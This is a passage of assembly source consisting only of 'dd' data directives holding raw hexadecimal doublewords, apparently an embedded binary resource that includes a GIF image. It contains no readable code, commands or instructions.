314668C5h dd 8C79B50Ah, 35020883h, 0D55526D9h, 3E4C749h, 0C568A20Bh dd 8F11E03Fh, 0A5D4B477h, 4C69852Fh, 9A533A65h, 37A6D4D6h dd 754E69C5h, 0F69E53BAh, 0F8F0A774h, 81482B47h, 441E9005h dd 0C798DF07h, 54B5F23Fh, 5CD536A6h, 37C798FFh, 0E2545074h dd 1843B489h, 0A83E0C64h, 885609C0h, 55FABCCh, 0AC5586Bh dd 82885A31h, 0C795540Ah, 8F11C20Eh, 0ADD5B6B1h, 0C4AB856Fh dd 1D8E11E2h, 0FC4895A0h, 17561752h, 2A0FFE73h, 22ABA258h dd 3E4488E3h, 46B78016h, 0FD846144h, 0AAC56207h, 8C1AB8D8h dd 0AB389615h, 0E60764Bh, 0B136347Ch, 6318F582h, 0CC581643h dd 87B34C42h, 0F0C36CB5h, 0CEBA8E61h, 0A98F9C06h, 81241507h dd 64107C0Ah, 1670015Ch, 0DB25C16Ch, 5A16D178h, 53ADB5B2h dd 7C0F25E1h, 911242A8h, 15A896Dh, 45795AE9h, 0B5B95984h dd 0A5CD7216h, 57316CDCh, 6DD5CE59h, 574B2A41h, 0B4E63EBBh dd 226D498Eh, 750F1148h, 0DFBBC394h, 0C5786F05h, 8800DE1Bh dd 45E3BCB7h, 9BCF78EFh, 0F7B6F65Eh, 0EF45EBBBh, 5EEBE179h dd 0BED7D6FAh, 3AAF0DF7h, 440A41E2h, 0F7215700h, 943381D8h dd 14718EAAh, 4607C0D8h, 0BC158270h, 0B82400E0h, 0F0860BC1h dd 613C2183h, 0C258170Ah, 84F08E15h, 0E618C2Fh, 0FAC17877h dd 4A3387FDh, 5EBC49ABh, 0A419A490h, 0E1482142h, 0C364728Eh dd 71862FC5h, 0E31C658Ch, 0B8C800FEh, 0B1B8D9C6h, 0E35C6F8Bh dd 2258E888h, 8F71E62Fh, 21E3FC81h, 46C7D90Bh, 618F322Eh dd 0D31D63BCh, 2638C9D8h, 7CA18E32h, 39571CE4h, 0F1CE41CAh dd 65BCB58Ch, 1393A317h, 426FF07Ah, 7F8C9C00h, 0D81C63B8h dd 0D59A7340h, 0B73666BCh, 7001CDB9h, 22399A73h, 4486C67h dd 738673CDh, 111CEB9Dh, 0CF79F73Ah, 9E73667Ch, 3CE6BD03h dd 87CEF9CFh, 0F9E33A6h, 0F339676Dh, 8671D059h, 31B1A474h dd 23FC770Eh, 8FF62319h, 0D7A44D55h, 0F5568B7h, 35B160A2h dd 526A3D44h, 0A5D4DA97h, 53A9800Eh, 8B558D6Dh, 1911D57Ah dd 0ED59AB75h, 9ABF56EAh, 0B58EB6D4h, 0EAAD6FABh, 0D71AF75Ch dd 0ACB5CEBDh, 5DEB5D5Fh, 0BAD8DACFh, 4FB13566h, 8F666CBDh dd 90969D1Ah, 52119843h, 0A3181D8Fh, 5A68E1CCh, 0EDBDB5B6h dd 0DB600467h, 0B81986DEh, 97EE1223h, 0E5DBBB81h, 63B8B736h dd 0FE726EA6h, 0EEDCCCCBh dd 0D9BBF786h, 0B772EF2Dh, 3EF5DC7Bh, 0BDB9BA37h, 0A3876E6Fh dd 0F4C0C6D2h, 22ED3537h, 1F25BB4Eh, 25839054h, 688DD1DAh dd 0FE1DC34h, 21C47887h, 3800D9CEh, 6F16E2BCh, 2E33C5F8h dd 0A3478D71h, 38F718E3h, 0F1FE1FC7h, 0E41C6F90h, 0C6B92717h dd 93723E51h, 25E59CB7h, 49C77937h, 4B9A712Eh, 90ED1BBCh dd 7DA41A04h, 0BB5B0010h, 5968DF1Dh, 743E85D0h, 0E8DD17A2h dd 0CB7A3001h, 0A5F41E90h, 4FE95D2Fh, 9DD3BA87h, 53A174D1h dd 0A744E99Dh, 5EA7D5B8h, 5D4BAB74h, 7ADF5AEBh, 749EA1D8h dd 65BD97B2h, 3FC768DFh, 0DDD5E00h, 546DC0Dh, 0D75F0B6Fh dd 707608C0h, 0C7771983h, 0BEF5DE7Bh, 8007BD77h, 3BF777EFh dd 781F03DEh, 0F09DF3C0h, 473C38CCh, 0C4787F04h, 84EF7607h dd 11E17C4Fh, 3C178FFh, 0CF93F1DEh, 2EFA447Bh, 0FE47C979h dd 3D079FEFh, 881D837h, 35FE539Dh, 0C6083B1Fh, 0D81D43Fh dd 0F5DEB5BAh, 0DD000B5Ah, 0D9B5BF62h, 0B7F61ECFh, 93EDBDC7h dd 0D5AE7B51h, 0D35EB03Eh, 0AF6CD77Dh, 0BEE48E7Bh, 3DDFB8F7h dd 7CBF93F2h, 0F9DEBFE5h, 3A86C35Bh, 808C11FEh, 28BAE6BFh dd 0D2214346h, 74668D91h, 7DFFBDFh, 1FC1F87Fh, 9F77F100h dd 0FF3FDEFCh, 7E2FCDF9h, 0FD4337F5h, 0FC3F1FEFh, 0FA7EBFCBh dd 0ECFD3FD3h, 0F1FA3F77h, 0E888FE1Fh, 6FFEFF3Fh, 0BF9BF6BFh dd 6CBF0401h, 28418748h, 0BD3896BDh, 6AA2885Eh, 84078620h dd 0C09408C0h, 0A40A409h, 7C0A800Ch, 40840BC0h, 0CC0D40Dh dd 0EC0FC0F4h, 0C0E06240h, 0C411C08h, 0BC134114h, 0C0EC10C0h dd 0FC15412h, 417C13Ch, 0C1341241h, 6241A419h, 0EA1E06A8h dd 0A90BEA85h, 5EA4E312h, 82A0D69h, 7104183h, 0EFC22402h dd 44234013h, 0BFABFFC2h, 263FB424h, 1C23C24Ch, 426BFF3Fh dd 0F9424425h, 0F2C2FE8Bh, 0CC2A3FBBh, 422C25C2h, 41871422h dd 339D8308h, 1D87D08h, 62070C06h, 543485B0h, 0C36435C3h dd 37C37436h, 8C36800Ch, 0C3985B43h, 3AC39C34h, 543B43A4h dd 435C3BC3h, 3D43DC3Eh, 8440437Ch, 44143CC3h, 4043F442h dd 3443C3ACh, 0C40C3EC4h, 35C47446h, 0F8708624h, 0BB641C87h dd 0C63EB8C6h, 0F02A0780h, 0BEE04182h, 2842242Eh, 0D3FEBFACh dd 452427C2h, 0FFC2DBF3h, 93FE400Bh, 453C5142h, 51C54C27h dd 3C25C004h, 0C4F45045h, 4286CBF0h, 943102C8h, 85E43207h dd 5E86C07Fh, 14608588h, 0C62461C6h, 63C63462h, 0C61888Ch dd 465C6100h, 66C60C66h, 9468C67Ch, 858C6846h, 64C68466h dd 2C6546ACh, 46346A46h, 6B46BC6Ah, 46AC694h, 0C6D469C7h dd 6E467C6Ch, 5474C63Ch, 5EC60C7h, 5E07F86Ch, 7164C1D0h dd 3B811F3Bh, 2CC4C8B6h, 245AC4E0h, 0BF745A40h, 8E456BFEh dd 254290FEh, 1C810894h, 0C82BF448h, 0F245342Bh, 145042CBh dd 42E48040h, 51482487h, 1C7D4584h, 84186CC0h, 5E2AA45Ch dd 785EC5F4h, 48EC8EC4h, 9043608Eh, 8C3BC42Ch, 43FC4588h dd 44C92C3Bh, 0CC370894h, 0C3EC463Ah, 95C41494h, 5438C924h dd 49A49544h, 3649C48Fh, 8C77C76Ch, 0C1E2AAC7h, 0C8C1F291h dd 0C82C0780h, 87104402h, 0A4C8A06Eh, 64A5CA54h, 0CA74A6CAh dd 6EC5ACA7h, 202CC2F8h, 0C5E096AAh, 6186987Eh, 0E4ADC9C8h dd 0CAF4AECAh, 0AF4B04AFh, 74B0C3C4h, 869861C3h, 4AC7807Eh dd 0C923153Ch, 0C6313ABh, 2C83107Ah, 0F8578390h, 86506685h dd 0BCCBC4BBh, 0E4BDCBD4h, 0CBF4BECBh, 0C0CC04BFh, 24C1CC14h dd 0CC34C2CCh, 66CC24C3h, 405785F8h, 28082C83h, 5F0224ABh dd 0C06F87A8h, 0CCB3B306h, 0CCCCC4CBh, 0E4CDCCD4h, 0BAACCECCh dd 0B34CF4CFh, 0A86F86C3h, 28F85F07h, 0FE479AD3h, 0B5C7A92Dh dd 984207C0h, 83F82402h, 5F85C04Eh, 0B4DA8610h, 0CDC4DBCDh dd 0DDCDD4DCh, 0F05F8614h, 0CE04DFCDh, 0E1CE14E0h, 0E4DA4E24h dd 0CE44E3CDh, 0E5CE54E4h, 0DCE6CE64h, 85C4DF4Dh, 2403F84Eh dd 0B25F0298h, 8508354Ah, 0ED875284h, 0F4EECEE4h, 0CF04EFCEh dd 0F1CF14F0h, 34F2CF24h, 0CF44F3CFh, 8E4F3CF4h, 54F6CF50h dd 50A8487h, 0C5CB5035h, 0C8C5C4B8h, 82802022h, 4903D027h dd 0F4FEA508h, 0D004FFCFh, 0FED01500h, 35028504h, 0D04503D0h dd 5D05504h, 75018505h, 0D08507D0h, 9D09508h, 2D01D0A5h dd 83D04950h, 1F028027h, 9CAB23D8h, 6C01B05h, 11875873h dd 3076875Dh, 0D14513D1h, 15D15514h, 62785165h, 0D18517D1h dd 18A77D15h, 551AD1A5h, 0D1B519D1h, 1251CD1Ch, 0C073075Dh dd 85981B06h, 0FA8B7CF9h, 6A0D0B7Ch, 82801C02h, 3583402Ch dd 7526D260h, 0D28527D2h, 0D2FE9528h, 2AD2A529h, 0C52BD2B5h dd 0D2D52CD2h, 2CD2E52Dh, 802D0345h, 82681C02h, 7A88522Ah dd 0A0220770h, 9BE87682h, 0D21E007Ch, 8537D371h, 0D3653753h dd 3AD3A539h, 0C07E53A5h, 0D3D53CD3h, 3B53D53Dh, 0F181D365h dd 0D3A540D3h, 42D4107Fh, 4543D435h, 0D45544D4h, 7687BD45h dd 702202A0h, 0B4C9A907h, 0B72ABC9Fh, 7078CFA4h, 82E83804h dd 4ED4E022h, 0E54FD4F5h, 0D5001FD4h, 52D52551h, 4553D535h dd 0D55554D5h, 56D56555h, 6D51555Dh, 3802ED5h, 8398C047h dd 49FD2B60h, 0D5D04C05h, 5ED5E55Dh, 55FD5F5h, 0D61560D6h dd 62D62561h, 4563D635h, 0D65564D6h, 25854D65h, 42A50470h dd 34DD4A4Dh, 7BAACD4Bh, 302603F0h, 0D6D56C82h, 2356E56Dh dd 56E81E0h, 0D71570D7h, 72D72571h, 4573D735h, 575574D7h dd 74D6FD74h, 203F0265h, 96D491Dh, 189D4D42h, 0E0170170h dd 9DCD7C9Dh, 0D7E5FE7Bh, 7FD7F57Eh, 1580D805h, 0D7D581D8h dd 0D9D83582h, 0E0671DF1h, 0CD49BD07h, 21D6A130h, 307D07ADh dd 34906D87h, 6A869335h, 0D58CD8C0h, 0D8E58DD8h, 8FD8F58Eh dd 1590D905h, 0D92591D9h, 93D93592h, 4D91D8BDh, 87306DB3h dd 9657907Dh, 0C21F0788h, 85E86306h, 60D9A860h, 0D59CD9C0h dd 0D9C59DD9h, 9FD9F061h, 15A0DA05h, 0DA25A1DAh, 0A385F061h dd 55A4DA45h, 85EDA45Ah, 0A7DA75A6h, 0E5A75A85h, 0D9DDA9D9h dd 0B25AB1B8h, 55ACBE79h, 86C1B01Bh, 0E1081877h, 7934D869h dd 87A8C5D8h, 0B3DB32D0h, 0C98E5B45h, 88320A1Bh, 0B4981082h dd 95B8DB85h, 18B1825Bh, 695B0165h, 1DB1B825h, 0DBE2E8D2h dd 67DBF5BEh, 35BF9321h, 5220EA97h, 0C3DC1176h, 97CDC45h dd 170DC4DCh, 385B0DC2h, 9162DBD1h, 0DC294C5Ch, 4B5CB5C9h dd 0D5CBDCA9h, 0DCC9445Ch, 3DDCF5CDh, 15CFDCE9h, 0DD09395Dh dd 0DD35D1FEh, 0D3DD2932h, 492BDD55h, 0DD75D5DDh, 3BDC7933h dd 0A5D7CA09h, 5D8DD45Dh, 0DADD993Fh, 0BDD65DD5h, 6A100DDh dd 7A87C864h, 25DDDB60h, 8789215Eh, 6407C87Ah, 315486A0h dd 86A06F0Fh, 0E25E0865h, 0A5E9DC62h, 0DEB5EADEh, 0ECDEC5EBh dd 40795BF5h, 6A065DEh, 6F17E86Fh, 0E06586B8h, 0D97DE087h dd 20DF45E2h, 0E07C9949h, 6B86587h, 6F150DF0h, 653C0A70h dd 0DFB227D3h, 0FCDFC5FBh, 0E5FDDFD5h, 0DFF5FEDFh, 0E005FFh dd 2601E016h, 603602E0h, 3C536225h, 8DF80A35h, 865DF1DFh dd 88640A7h, 0A609E096h, 0E0B60AE0h, 0CE0C60Bh, 0E60DE0D6h dd 0E0F60EE0h, 10E1060Fh, 2611E116h, 0E13612E1h, 14E14613h dd 6615E156h, 0E17616E1h, 0F7607E0Eh, 0D5F0E065h, 0E1B06A06h dd 1CE1C618h, 0E61DE1D6h, 0E1F61EE1h, 20E2061Fh, 2621E216h dd 0E23622E2h, 24E24623h, 6625E256h, 0C47626E2h, 0E28627E2h dd 29E29628h, 5E1B6226h dd 17EE19DEh, 0F95F9070h, 0F62E86D5h, 0E3062FE2h, 31E31630h dd 3632E326h, 0E34633E3h, 35E35634h, 7636E366h, 0E38637E3h dd 39E39638h, 0B63AE3A6h, 0E3C63BE3h, 34E3D63Ch, 0F62CE2DEh dd 0E4063FE3h, 41E41640h, 3642E426h, 0E44643E4h, 45E45644h dd 7646E466h, 0E48647E4h, 49E49648h, 0B64AE4A6h, 0E4C64BE4h dd 4DE4D64Ch, 0F64EE4E6h, 0E5064FE4h, 51E51650h, 3652E526h dd 0E54653E5h, 55E55654h, 7656E566h, 0E58657E5h, 59E59658h dd 0B65AE5A6h, 0E5C65BE5h, 5DE5D65Ch, 0F65EE5E6h, 0E6065FE5h dd 61E61660h, 3662E626h, 0E64663E6h, 65E65664h, 7666E666h dd 808A466h, 3B00h, 0 dd 38464947h, 21D6137h, 0E700F4h, 10000h, 1000200h, 4000004h dd 9050007h, 20A0700h, 0B040C08h, 0F0C060Eh, 9100E07h dd 100A110Fh, 13110C12h, 0D15130Eh, 160F1B15h, 1F1A0C1Ch dd 0F201B0Eh, 1F11211Dh, 25201324h, 15262114h, 24172722h dd 2B271929h, 1C312816h, 2C1A2E29h, 372E1C35h, 213A311Fh dd 35233C33h, 4137253Eh, 2A423927h, 3D23453Bh, 4D3F2046h dd 24483F26h, 46275043h, 57492B53h, 2F594C2Dh, 50325B4Eh dd 6053345Eh, 34625536h, 59356A57h, 6D5A376Ch, 3C705D39h dd 6235725Fh, 75623E74h, 3A766538h, 693D7967h, 7D6B3E7Bh dd 417E6C3Fh, 6F427F6Dh, 82704381h, 41847245h, 74478B74h dd 8C754286h, 468E7644h, 725F8F78h, 89745989h, 498A755Ah dd 7C4A927Bh, 957E4C94h, 4E8F7A5Fh, 814F9780h, 9A825198h dd 52947E63h, 8A339C84h, 9E8654CAh, 5597806Dh, 826B9F87h dd 677C9093h, 3FA18957h, 8758BC8Fh, 0A38B59CBh, 54B8913Eh dd 8576AA8Ch, 0A58D5B97h, 57A68F54h, 8872AC8Eh, 0DB8A5699h dd 73AD8F58h, 92509A89h, 0AE9059AEh, 5BFF9141h, 9553B092h dd 0B2945DB1h, 7EB39755h, 8F789F8Dh, 0A79468A0h, 52FF9646h dd 9957FE93h, 0B69A58B5h, 5ABC995Bh, 937BB89Ch, 0F69854B0h dd 7EB99D5Ch, 9778A695h, 0BA9E5DA7h, 86A7967Fh, 9F5EA895h dd 0BDA05FBCh, 50FF9B5Ah, 0A160FF9Eh, 0AA9982BEh, 69C8997Ch dd 9C66E89Ch, 0BAA270FCh, 8DFFA160h, 9D91AF9Ch, 0D7A27FAAh dd 97FEA56Dh, 0A965B0A2h, 0C9A97BFFh, 9AFFAA66h, 0AF7AB3A6h dd 0FFAC72C1h, 9EBAADA1h, 0B280CDADh, 0CEB098FFh, 0A7C8AEA3h dd 0BA6FB7AFh, 0DDB393FEh, 94C5B78Fh, 0B58BDEB5h, 0C1B3A8FEh dd 8EFFB984h, 0BA96FEBCh, 0C3BBB2FEh, 0B5FFBF91h, 0C1A5C5BDh dd 0FFC39BE6h, 0A4F7C7A2h, 0C6A9FDC6h, 0CDC5BDF7h, 0BFCFC6BEh dd 0CAA8D0C7h, 0FDCE9FFFh, 0A7FCCAADh, 0CAC1FDCDh, 0FECCB0D2h dd 0B8FFCFB2h, 0D0C8FCD0h, 0FFD2BAD8h, 0CCFFD6B5h, 0D5C2DDD5h dd 0FDD8BCFCh, 0B7F8DBBAh, 0D8CFFFDCh, 0DBD9D4E0h, 0D2FFDAC6h dd 0DACBE2DAh, 0FCDCC5FCh, 0D4E4DBD3h, 0DDD8E5DCh, 0E8DFD7E0h dd 0C7E2DFDAh, 0E0DBFBE3h, 0FBE2CEE3h, 0D9E9E1D8h, 0E3DDEAE2h dd 0FFE7CBE5h, 0CFE6E4DFh, 0E4DCFAE7h, 0FAE6D6FAh, 0E1E8E5E0h dd 0E4EAE9E6h, 0F5E5E1E3h, 0DFDDE4EDh, 0E7E2F0E7h, 0F6E6E2EAh dd 0E3F6E8DCh, 0E7E3EBE8h, 0ECE9E4F7h, 0E5F8E8E4h, 0ECE0EDEAh dd 0EEECE6FAh, 0E7F5EBEAh, 0F0DCEFEDh, 0F7EEE5FDh, 0E4F2EFEAh dd 0F3DFFFF1h, 0FAF1E9FFh, 0EDF4F1ECh, 0F1F0F5F2h, 0F6F3EEFBh dd 0F1F7F5EFh, 0F6F9F9F7h, 0FBF8F3FBh, 0F7FCF9F4h, 0F8FAF6F9h dd 0FDFAF5FCh, 0F6F7F8FEh, 0FBF9FEFBh, 0F9FCFAF8h, 0FBFFFDF7h dd 0FCFEFAFDh, 0FFFEF8FFh, 0FCFBFDFFh, 0FFFEFBFFh, 2CFCh dd 21D0000h, 80000F4h, 89D00FEh, 20B0481Ch, 0B44E2D41h dd 0B0C32168h, 688643A1h, 489C4A22h, 8B9C6231h, 0DC6A3318h dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5192730Fh, 0CFA0D098h dd 2A79039Fh, 61B0A85Ch, 90688851h, 512A5CDEh, 50A7D3A6h dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30E2688h, 1A915FAFh dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh dd 0BF7DC3E1h, 91B3E49Eh, 8E3E5631h, 38C6469Dh, 0BDE42AB9h dd 0D1C72B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E64B0E2h dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh dd 411F2028h, 0C08070h, 8410740Ah, 0D834017Fh, 0C41200E0h dd 0CE0B1C90h, 105B9851h, 80D00C14h, 0D0D5B60Bh, 481100C0h dd 20879B58h, 0DD9088Ah, 0C180040Fh, 0E005E512h, 0B87C859Bh dd 0FC8C9F98h, 8DE038D1h, 8357AA38h, 0B1BC4205h, 3C3A19C7h dd 367F4330h, 484A1E2h, 0A3671830h, 0D119B992h, 2C781481h dd 7C924111h, 11811160h, 80B11875h, 89599010h, 0F25C96A5h dd 4E0503D1h, 74581E0h, 0E4B79058h, 0E8E66B6Dh, 0C6709BE6h dd 63031B69h, 284E6DCh, 0C4A6E244h, 0D7364C03h, 0D46605A6h dd 900344C6h, 88C390ADh, 287A1427h, 0CA243564h, 0F2610607h dd 0E2A384A1h, 0A59B59B5h, 0E9AA6672h, 0A015F8A6h, 0EC016F44h dd 5C8400F0h, 6D816132h, 40B04455h, 0D006559Dh, 61FE6405h dd 0C190030h, 80600C11h, 0D8C6AF07h, 40150203h, 200483F6h dd 9ADB90F6h, 0C018C875h, 0B1F2BDAEh, 44010443h, 0E8C6C20h dd 0B3AC0AFAh, 40C0C5B6h, 1541900h, 0E1BE836Dh, 17640031h dd 14990B68h, 2E2B8014h, 5642E41Fh, 0D5B51D40h, 0BF6E4111h dd 1E07CB06h, 6ED19C0Ch, 41F07804h, 42B8ADABh, 2E6DAC66h dd 6DB0183Ah, 6CFB36CBh, 3006418Ch, 0D1B60EC0h, 0EE642F6Bh dd 0B52F1BE6h, 0ECAB22FEh, 0B0180100h, 12FE1381h, 8C52CCCh dd 6DF0B8A7h, 2AE976ABh, 5BEAB2ACh, 1EB9ADEBh, 0AC86BCBh dd 0A5E31C33h, 590C8F09h, 403EC010h, 0F69CA603h, 0A0D1FACh dd 0C65BA0E8h, 0C411D43Ah, 90522C02h, 7428ACE6h, 2C6403C0h dd 6402D020h, 87C0783Ah, 41EED90Bh, 0F81B0A06h, 4C1BC21Bh dd 28481F0h, 421D441h, 0B6E04803h, 78121226h, 3E1F360Dh dd 0D1842028h, 31D1180Ah, 7D976364h, 7CDAFE76h, 1D44E904h dd 0F33DB430h, 9E08586Fh, 0C190BB00h, 87640081h, 6438A6D7h dd 47CE2003h, 96E0061Dh, 0F368D9B7h, 27870281h, 0D67570A2h dd 0B83D775Bh, 0DDEFF8Dh, 0DB74DCB7h, 0DA06231Dh, 6DADF0EEh dd 8376D79Bh, 0EDEF97E7h, 0C323D876h, 83BBC321h, 10773E9Fh dd 0FACBFB75h, 0D39B7C5h, 5B54D4B5h, 5A15758Dh, 0EAFB7D73h dd 0A34EBFADh, 0B643D18Ah, 0F47596C4h, 3ECF0060h, 0D5F6F77h dd 0C2302C06h, 0EA7C420Ch, 7C3589AFh, 1C8C2FA0h, 0A42C108h dd 3904190h, 30A59004h, 0B45203F5h, 61BF805Bh, 0D41E643h dd 0D581C1B5h, 379B64D8h, 42020104h, 0F8FF518Bh, 8C1B8170h dd 0FBA60388h, 0B807005Fh, 0A5D8381h, 81902C38h, 24B6EEE9h dd 7CC05519h, 4935B70h, 74402321h, 1C5C09F1h, 38FE9FC3h dd 0D1D33008h, 0F40F81A8h, 68368B17h, 805CDAC2h, 43E42363h dd 0A9781509h, 5C105D48h, 14640EFEh, 0C3346304h, 7E0D41DEh dd 0FD1F907Ch, 3E3F60F8h, 0FB6210A8h, 7F0CA1E3h, 0CA22BD38h dd 84000428h, 0C7BCCECCh, 1D4FEC5h, 404A8D09h, 188200h dd 0CE1F156h, 0B9434A78h, 3C00A726h, 476BA104h, 0D20483E2h dd 0C13081A6h, 48410841h, 25FCB301h, 0A1A404B9h, 80486936h dd 809604DAh, 52E0F80Dh, 0C3C01B92h, 0DEB8B8CEh, 829011F9h dd 0FE0203E4h, 60DF4048h, 1C468061h, 0B073255Dh, 1E02C01h dd 0D3581709h, 48132123h, 592A9570h, 1E63B87Ch, 2A49A8F7h dd 8A0F90FEh, 1A19CDACh, 0D17C8019h, 64A78190h, 50F9251Ch dd 0CE4918CAh, 1801B04h, 4B195E96h, 5FD2CCC8h, 1BE4CCB6h dd 39B6D525h, 898EA1F2h, 8D1EA3C3h, 0BA5AB925h, 5C3F9912h dd 0C0C922C0h, 537A2EBDh, 168703Eh, 87B002EFh, 4641ECDAh dd 0FDB081Fh dd 0C58696ACh, 2C43809Dh, 0E1248130h, 202307C0h, 0FE220240h dd 4A130180h, 71812FE7h, 34392ABh, 73213958h, 93FA174Eh dd 4DEC2D9Fh, 48B03E1Dh, 0E0E4805h, 0E3A87491h, 1A87C922h dd 48036A8Ch, 0E9B1CA8h, 91F528CAh, 0BCF58340h, 0C9F73E67h dd 8EF66BC2h, 0E844E69Ch, 87C7D29Ah, 9FD3F68Fh, 2E85C1Bh dd 93B1C632h, 50F940Eh, 0DA92E235h, 0F27787C9h, 0CF39E21h dd 0A9F53E29h, 0CF4E84D2h, 43C537A8h, 54C9BF37h, 58C1A4F7h dd 0CA4324BBh, 12A8907Ch, 0B7F1164h, 109542F0h, 49DE04C0h dd 44BC5160h, 19760328h, 6D95050h, 65A4DB01h, 1B9AC66Dh dd 96F59003h, 2C131B6h, 0DAC9D0F9h, 90030160h, 0F0976BA9h dd 2C231B8Ah, 4D6F4E71h, 30BC021Ch, 157CC849h, 51A3A590h dd 1B585CB1h, 0C86D6B4h, 0E3A57D6Ah, 3E585B06h, 0B96D55B0h dd 4E0C02C1h, 42C72348h, 5C1BB206h, 8AB55613h, 157AAE05h dd 0AD0D4FACh, 0A32B2551h, 0CD22C04h, 0AAFE6D4Bh, 8093C56Ch dd 0DE1F2B9h, 0E000B82h, 82025446h, 6509003Eh, 46084C84h dd 583E57C0h, 0E02303C0h, 80726D63h, 910410D0h, 5C104E0Fh dd 190ACB42h, 0A2B1640Eh, 7391A3A2h, 0C85D136Bh, 416064h dd 42198DBDh, 0B8C84200h, 5837B9E0h, 0ABD17981h, 60783E5Eh dd 81687C69h, 5DB36EFAh, 321774C8h, 8411823h, 0C4DCB910h dd 0FC0946D6h, 477591A4h, 0DAE9DD94h, 15FBBF26h, 8BEF73EEh dd 980E7E29h, 0AC960551h, 9B5B8970h, 97D726E3h, 49AD55FDh dd 0F990749h, 0B3B637A0h, 6277710Dh, 781A80D0h, 50750F01h dd 0E07E07C2h, 0E1E1B92Fh, 57380D07h, 46B0180Ah, 4860057Dh dd 48000AB3h, 34828033h, 6206E1BCh, 7CF5E0DCh, 54270750h dd 0E12B9E0h, 2C5C10AFh, 9840484h, 2E05001h, 0E45C861Fh dd 7264323h, 1D42C012h, 28382066h, 4836D94Bh, 64B9C0A8h dd 0E0240149h, 0F80F08C1h, 0CA19FEF2h, 0C334E67Ch, 0A85E03EAh dd 8B7E0F83h, 0F91B2A1Bh, 846B9h, 63C0F978h, 74B9031Fh dd 5828323h, 0DEE5E464h, 7808592Dh, 38987268h, 0D73D57DCh dd 3656CEC6h, 406404A2h, 0EE99D74Fh, 0B27689D0h, 83036D86h dd 0D3A6D71Bh, 8FF1EE3Bh, 0D5D3AC83h, 0F09D86Ah, 4192F440h dd 3B56E22Ch, 501C07C7h, 0C01000C0h, 0A8C5D501h, 0C0D53305h dd 10AB5Ch, 8C6D415h, 18E5D803h, 2E433002h, 500606Ch, 100F40C8h dd 3560370Ah, 0C60644C0h, 50746DACh, 6D3C08ABh, 0A2880656h dd 6D0D9C0Fh, 37AC818h, 0B64182E2h, 982D736Fh, 101AD52h dd 75920068h, 77756E80h, 0C0050108h, 0ADB66EA8h, 0D5D36821h dd 0B646C636h, 0BAE74BB2h, 0D9604000h, 8D9FDED8h, 6BA20DA8h dd 0A2373A97h, 9FBD0DABh, 6428592Dh, 0DB3100A0h, 0CDADC120h dd 0BB06BEDAh, 0F62EC336h, 0F00D93B1h, 0E3D49783h, 40A042h dd 3201EFEh, 0E4FABA8Dh, 0AF14C1ECh, 96F28A6Bh, 5C3ABCBBh dd 67CBEE90h, 0D54B1E1Eh, 0A02405A1h, 8E77CEB9h, 20C8051Bh dd 82907B0Dh, 0F3C06806h, 52C747A2h, 0D19C96C9h, 23728E97h dd 1000C068h, 0A7D32EBAh, 5BAAF54Eh, 0CF58EAFDh, 0CEB7D6BAh dd 0FD7BAEF5h, 0BB0F60EBh, 95E2BC7Ch, 0ECFD98ECh, 0DABB4F68h dd 0B6F6CED7h, 70EDFDBBh, 0E7DCBB8Fh, 90EC774Eh, 395E3ABDh dd 0CEF6500Bh, 0FDFBBEF7h, 0BC0F80EFh, 0F84F07E0h, 0F0FE1BC2h dd 0E2BC4F88h, 0C6F8CF17h, 90F1FE3Bh, 87E07C8Fh, 0C4E895D2h dd 51030C81h, 0CF37E682h, 0FE7BCEF9h, 0BD0FA0F3h, 0FA4F47E8h dd 0F4FE9BD2h, 0EABD4FA8h, 0D6FACF57h, 0B0F5FEBBh, 67ECBD8Fh dd 0DBDAFB4Fh, 1FA7F6FEh, 93901908h, 8138AF1Ch, 47C8FC1Fh dd 0FC41EC3Eh, 0F8FF1BE2h, 0F2BE4FC8h, 0E6FCCF97h, 0D0F9FF3Bh dd 0A7F4BE8Fh, 5BEAFD4Fh, 0CFD8FAFFh, 0FEB7F6BEh, 7BEEFDCFh dd 0FE0FBFFh, 0F85F3FFh, 0BE54277Ch, 3E0F98F7h, 8F11E83Dh dd 0FDFFBBF6h, 0FCBF8FF0h, 0FAFF4FE7h, 0F8FEFFDBh, 0F7FEBFCFh dd 0FBFEFFCFh, 1800FFFFh, 80380280h, 6805804h, 98088078h dd 7F880A80h, 0FC0F97EBh, 0A7BB04E0h, 1080711Ch, 0F07EC0F9h dd 98188170h, 81B81A81h, 1E81D81Ch, 182081F8h, 82382282h dd 26825824h, 98288278h, 82B82A82h, 2E82D82Ch, 183082F8h dd 83383283h, 0F1824834h, 90F90F40h, 1C57BC10h, 4A05A068h dd 0B0F08150h, 84384280h, 46845844h, 98488478h, 84B84A84h dd 0FC84D84Ch, 0A8380F07h, 6805A04h, 4E0681CAh, 10F604A0h dd 84E8410Fh, 5E85D85Ch, 186085F8h, 86386286h, 417FA864h dd 604A0F68h, 8578557Eh, 6585B859h, 187086F8h, 87387287h dd 4A875874h, 48698678h, 8561C985h, 7685A858h, 188087F8h dd 88388288h, 7885F884h, 7BFE86A8h, 587E86C8h, 88D88C88h dd 9088F88Eh, 0A8878908h, 87C1C687h, 9889186Dh, 0B89A8998h dd 84989C89h, 7D86B893h, 389D86E8h, 8A58A48Ah, 7E8A78A6h dd 58888688h, 8A288A89h, 0B08AF8A8h, 8B28B18h, 88989F87h dd 0B88B38A1h, 0B8BA8B98h, 8B58458Bh, 0BC8B78ACh, 38C28C18h dd 7F58C48Ch, 0AD83C8BEh, 0B8CA8C58h, 8B38CC8Ch, 961C48C7h dd 38CD88B8h, 8D58D48Dh, 0AA0F1892h, 8C88948h, 8DD8D68Ch dd 728DF8DEh, 11C18CF8h, 8E08AE8Dh, 0E88E78E6h, 